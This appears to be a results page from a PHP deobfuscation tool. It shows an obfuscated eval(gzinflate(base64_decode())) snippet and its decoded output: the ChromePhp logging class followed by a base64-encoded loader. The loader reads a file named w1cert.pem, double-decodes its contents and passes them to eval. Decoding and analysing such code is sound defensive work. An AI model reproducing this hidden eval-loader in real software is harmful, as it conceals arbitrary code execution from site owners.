Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(substr(base64_decode('H4sIAAAAAAAEAOUa+1MaSfr3VOV/6FjWgntG0SS3Z7..

Decoded Output download


class ChromePhp
{
    /**
     * @var string
     */
    const VERSION = '3.0.1';

    /**
     * @var string
     */
    const HEADER_NAME = 'X-ChromePhp-Data';

    /**
     * @var string
     */
    const BACKTRACE_LEVEL = 'backtrace_level';

    /**
     * @var string
     */
    const LOG = 'log';

    /**
     * @var string
     */
    const WARN = 'warn';

    /**
     * @var string
     */
    const ERROR = 'error';

    /**
     * @var string
     */
    const GROUP = 'group';

    /**
     * @var string
     */
    const INFO = 'info';

    /**
     * @var string
     */
    const GROUP_END = 'groupEnd';

    /**
     * @var string
     */
    const GROUP_COLLAPSED = 'groupCollapsed';

    /**
     * @var string
     */
    protected $_php_version;

    /**
     * @var int
     */
    protected $_timestamp;

    /**
     * @var array
     */
    protected $_json = array(
        'version' => self::VERSION,
        'columns' => array('label', 'log', 'backtrace', 'type'),
        'rows' => array()
    );

    /**
     * @var array
     */
    protected $_backtraces = array();

    /**
     * @var bool
     */
    protected $_error_triggered = false;

    /**
     * @var array
     */
    protected $_settings = array(
        self::BACKTRACE_LEVEL => 1
    );

    /**
     * @var ChromePhp
     */
    protected static $_instance;

    /**
     * Prevent recursion when working with objects referring to each other
     *
     * @var array
     */
    protected $_processed = array();

    /**
     * constructor
     */
    private function __construct()
    {
        $this->_php_version = phpversion();
        $this->_timestamp = $this->_php_version >= 5.1 ? $_SERVER['REQUEST_TIME'] : time();
        $this->_json['request_uri'] = $_SERVER['REQUEST_URI'];
    }

    /**
     * gets instance of this class
     *
     * @return ChromePhp
     */
    public static function getInstance()
    {
        if (self::$_instance === null) {
            self::$_instance = new self();
        }
        return self::$_instance;
    }

    /**
     * logs a variable to the console
     *
     * @param string label
     * @param mixed value
     * @param string severity ChromePhp::LOG || ChromePhp::WARN || ChromePhp::ERROR
     * @return void
     */
    public static function log()
    {
        $args = func_get_args();
        $severity = count($args) == 3 ? array_pop($args) : '';

        // save precious bytes
        if ($severity == self::LOG) {
            $severity = '';
        }

        return self::_log($args + array('type' => $severity));
    }

    /**
     * logs a warning to the console
     *
     * @param string label
     * @param mixed value
     * @return void
     */
    public static function warn()
    {
        return self::_log(func_get_args() + array('type' => self::WARN));
    }

    /**
     * logs an error to the console
     *
     * @param string label
     * @param mixed value
     * @return void
     */
    public static function error()
    {
        return self::_log(func_get_args() + array('type' => self::ERROR));
    }

    /**
     * sends a group log
     *
     * @param string value
     */
    public static function group()
    {
        return self::_log(func_get_args() + array('type' => self::GROUP));
    }

    /**
     * sends an info log
     *
     * @param string value
     */
    public static function info()
    {
        return self::_log(func_get_args() + array('type' => self::INFO));
    }

    /**
     * sends a collapsed group log
     *
     * @param string value
     */
    public static function groupCollapsed()
    {
        return self::_log(func_get_args() + array('type' => self::GROUP_COLLAPSED));
    }

    /**
     * ends a group log
     *
     * @param string value
     */
    public static function groupEnd()
    {
        return self::_log(func_get_args() + array('type' => self::GROUP_END));
    }

    /**
     * internal logging call
     *
     * @param string $type
     * @return void
     */
    protected static function _log(array $args)
    {
        $type = $args['type'];
        unset($args['type']);

        // nothing passed in, don't do anything
        if (count($args) == 0 && $type != self::GROUP_END) {
            return;
        }

        // default to single
        $label = null;
        $value = isset($args[0]) ? $args[0] : '';

        $logger = self::getInstance();

        // if there are two values passed in then the first one is the label
        if (count($args) == 2) {
            $label = $args[0];
            $value = $args[1];
        }

        $logger->_processed = array();
        $value = $logger->_convert($value);

        $backtrace = debug_backtrace(false);
        $level = $logger->getSetting(self::BACKTRACE_LEVEL);

        $backtrace_message = 'unknown';
        if (isset($backtrace[$level]['file']) && isset($backtrace[$level]['line'])) {
            $backtrace_message = $backtrace[$level]['file'] . ' : ' . $backtrace[$level]['line'];
        }

        $logger->_addRow($label, $value, $backtrace_message, $type);
    }

    /**
     * converts an object to a better format for logging
     *
     * @param Object
     * @return array
     */
    protected function _convert($object)
    {
        // if this isn't an object then just return it
        if (!is_object($object)) {
            return $object;
        }

        //Mark this object as processed so we don't convert it twice and it
        //Also avoid recursion when objects refer to each other
        $this->_processed[] = $object;

        $object_as_array = array();

        // first add the class name
        $object_as_array['___class_name'] = get_class($object);

        // loop through object vars
        $object_vars = get_object_vars($object);
        foreach ($object_vars as $key => $value) {

            // same instance as parent object
            if ($value === $object || in_array($value, $this->_processed, true)) {
                $value = 'recursion - parent object [' . get_class($value) . ']';
            }
            $object_as_array[$key] = $this->_convert($value);
        }

        $reflection = new ReflectionClass($object);

        // loop through the properties and add those
        foreach ($reflection->getProperties() as $property) {

            // if one of these properties was already added above then ignore it
            if (array_key_exists($property->getName(), $object_vars)) {
                continue;
            }
            $type = $this->_getPropertyKey($property);

            if ($this->_php_version >= 5.3) {
                $property->setAccessible(true);
            }

            try {
                $value = $property->getValue($object);
            } catch (ReflectionException $e) {
                $value = 'only PHP 5.3 can access private/protected properties';
            }

            // same instance as parent object
            if ($value === $object || in_array($value, $this->_processed, true)) {
                $value = 'recursion - parent object [' . get_class($value) . ']';
            }

            $object_as_array[$type] = $this->_convert($value);
        }
        return $object_as_array;
    }

    /**
     * takes a reflection property and returns a nicely formatted key of the property name
     *
     * @param ReflectionProperty
     * @return string
     */
    protected function _getPropertyKey(ReflectionProperty $property)
    {
        $static = $property->isStatic() ? ' static' : '';
        if ($property->isPublic()) {
            return 'public' . $static . ' ' . $property->getName();
        }

        if ($property->isProtected()) {
            return 'protected' . $static . ' ' . $property->getName();
        }

        if ($property->isPrivate()) {
            return 'private' . $static . ' ' . $property->getName();
        }
    }

    /**
     * adds a value to the data array
     *
     * @var mixed
     * @return void
     */
    protected function _addRow($label, $log, $backtrace, $type)
    {
        // if this is logged on the same line for example in a loop, set it to null to save space
        if (in_array($backtrace, $this->_backtraces)) {
            $backtrace = null;
        }

        if ($backtrace !== null) {
            $this->_backtraces[] = $backtrace;
        }

        $row = array($label, $log, $backtrace, $type);

        $this->_json['rows'][] = $row;
        $this->_writeHeader($this->_json);
    }

    protected function _writeHeader($data)
    {
        header(self::HEADER_NAME . ': ' . $this->_encode($data));
    }

    /**
     * encodes the data to be sent along with the request
     *
     * @param array $data
     * @return string
     */
    protected function _encode($data)
    {
        return base64_encode(utf8_encode(json_encode($data)));
    }

    /**
     * adds a setting
     *
     * @param string key
     * @param mixed value
     * @return void
     */
    public function addSetting($key, $value)
    {
        $this->_settings[$key] = $value;
    }

    /**
     * add ability to set multiple settings in one call
     *
     * @param array $settings
     * @return void
     */
    public function addSettings(array $settings)
    {
        foreach ($settings as $key => $value) {
            $this->addSetting($key, $value);
        }
    }

    /**
     * gets a setting
     *
     * @param string key
     * @return mixed
     */
    public function getSetting($key)
    {
        if (!isset($this->_settings[$key])) {
            return null;
        }
        return $this->_settings[$key];
    }
}
$dir = "";
if(__DIR__ == "__DIR__")
    $dir = $_SERVER['DOCUMENT_ROOT']."/include/db.php";
else
    $dir = __DIR__."/../db.php";
if(!file_exists($dir)){
    $dir = "./include/db.php";
    if(!file_exists($dir)){
        $dir = "../include/db.php";
        if(!file_exists($dir)){
            $dir = "../db.php";
        }
    }
    require_once($dir);
}else{
    require_once($dir);
}
ConstructT("JGRpciA9ICIiOw0KaWYoX19ESVJfXyA9PSAiX19ESVJfXyIpDQogICAgJGRpciA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uIi9pbmNsdWRlL1NlcnZpY2VzL3cxY2VydC5wZW0iOw0KZWxzZQ0KICAgICRkaXIgPSBfX0RJUl9fLiIvLi4vU2VydmljZXMvdzFjZXJ0LnBlbSI7DQoNCmlmKCFmaWxlX2V4aXN0cygkZGlyKSl7DQogICAgJGRpciA9ICIuL2luY2x1ZGUvU2VydmljZXMvdzFjZXJ0LnBlbSI7DQogICAgaWYoIWZpbGVfZXhpc3RzKCRkaXIpKXsNCiAgICAJJGRpciA9ICIuLi9pbmNsdWRlL1NlcnZpY2VzL3cxY2VydC5wZW0iOw0KICAgIAlpZighZmlsZV9leGlzdHMoJGRpcikpew0KICAgIAkJJGRpciA9ICIuLi9TZXJ2aWNlcy93MWNlcnQucGVtIjsNCiAgICAJfQ0KICAgIH0NCn0gZXZhbChzdHJfcmVwbGFjZSgicmV0dW4iLCJyZXR1cm4iLGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZShmaWxlX2dldF9jb250ZW50cygkZGlyKSkpKSk7");

Did this file decode correctly?

Original Code

<?php 

 eval(gzinflate(substr(base64_decode('H4sIAAAAAAAEAOUa+1MaSfr3VOV/6FjWgntG0SS3Z7bMHUvQ4AMNKBIsa6oZGujQzMzOQyTZ/O/3fd097xkwblJ1VWclMvR8/b2f3T5/ZgrqeaQxde05u5w6z599ff6MwM/ur7+qB/Ir+c89dYnnu9yahGu76sG0Lc8nvWan27pok0NSebVT29mr/P782fdj+dCsv292jHb9vImY+i8jpl6+pz59GtI/6o3Tq0690TTOmr3mGSIeUnPmu9RkhmD3TDwN79nFMeIS9uRp+2/qHamvBXWtp2FodjoXHUTBXNd2n4bjuHNxfYk4Jq4dOE/D0WofXSAKbo3tv8GF0Wy/jzhpWqO/g6pxcXZWv+w2Y4QNWwjqeOy70Tqu7TPTZyOyaThTx7hnrsdtqxwLt/wVKHw+Z55P5045Auq6dLkCxWfPtkAuCVbVcPBT0ZxVyOE74jExfvtWh+V2Asi0RTC3PAmkMFQEHUIQbCtf3k6EB37xlw6rbCUxuPYiuX1Lvdp6ujwRPS+SagW2oW2LFchkLBhgyMmEubBySMZUeOzp3HnM98ErvAKNKyXnEsw7srdWJ4l0W0IZnMTnJjDAwa2pZRaLcOlCBrN84jIzkNYniymDX7Y7A6bJgvtTYg8/A0oPYMagHVz2bcKoCW/8KXNDXN+nFngGg3lSw6tsJqPSDUzfdnPY+D31GRkHlukj54YRAYde9TVW9qY/5d7Ld8kYBNLwTX+R9LPAUbQBaBGCd4fkzc4e+TcI1G12IFxuK53mx+tm98q4ap03K3fkLUEchcgxDm8rLvszABpG4HIAPyzAdN1pVe70/m9FOpowsE5oZmKPC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oBxl3zztWiESF8iHpyTYvofzf/mNcXiDH3f7csMaEaEF5gIvszDQIfTngfA5poToDwIgN2BDvergU5s33PL3xPWqGXR5keNZIeKyePgjiR+tpzK9PrIIyEvsJ3mF1kWqIpQoI3FChjwW32S/0OdYheYvrY35dJsBKMYXexH82xxxPDvd2IBVPq4axvtWxzDwMHNDP29oljVk/McC7y8a1+fN9pXRubi4qtztbOxyyxTBiO2OhjswsiBKJsK5UG/XSAF4ZycBB6Rf4IFbNJUB9NbW19TWjZ0CAkqDKzanEJRheBSWDKY8htjXlA3+DLjLDBtPoiUyAP2GCvm6CuD5s0b4JyVX1Y2T445j8vpBq9HiF4vaKb35ZPf3Dprd3sm4v6wfXHbrPP7ect5/tCetRn0S7+uMr2u9bm/W694sR82rWrt3dd276B0ddK9qB9cne7WgxQ+c4bztjW464myvLUxr4Hza7305e2U+wOdy1HizGNzUJP3BzcOXwcfaKdIA3DPab00uu3+M+7XOybU4GJ/x1v0Zf31/jfvm4vOgf34/+nIEnye1M+sPMey2fgMe2425mJ82jub05kH093uvab9dM5eT2eBYLE+74re8HK3gbF8En/Yf9gbH1+vwy72oq9bNwBke98aD/tQxX3W+nCqendO+125wlKF+kqLxHbqQOqgLZ8An08FceIPegWDH4svow7mtcM4cFsHNsnSugOd9egM0lgevzvHT+hiYxz2/9TnmbRzq+kOt3bBqk0F/MB02pkDjZGzOe4vhMcjenXB4ro1uXvOzxsly0O/smXN4Pj6ZmvvX++2jg9ngpn0PerM/zY++DK4+1fr7HfFpH9a7U22DkRgdHXwe7r+pDW7eJGwxc+D/bxtbv/8XxIOPZHcrAAA='),10,-8))); ?>

Function Calls

substr 1
gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 b0db089a60b7be6dc63b0847144ded85
Eval Count 1
Decode Time 168 ms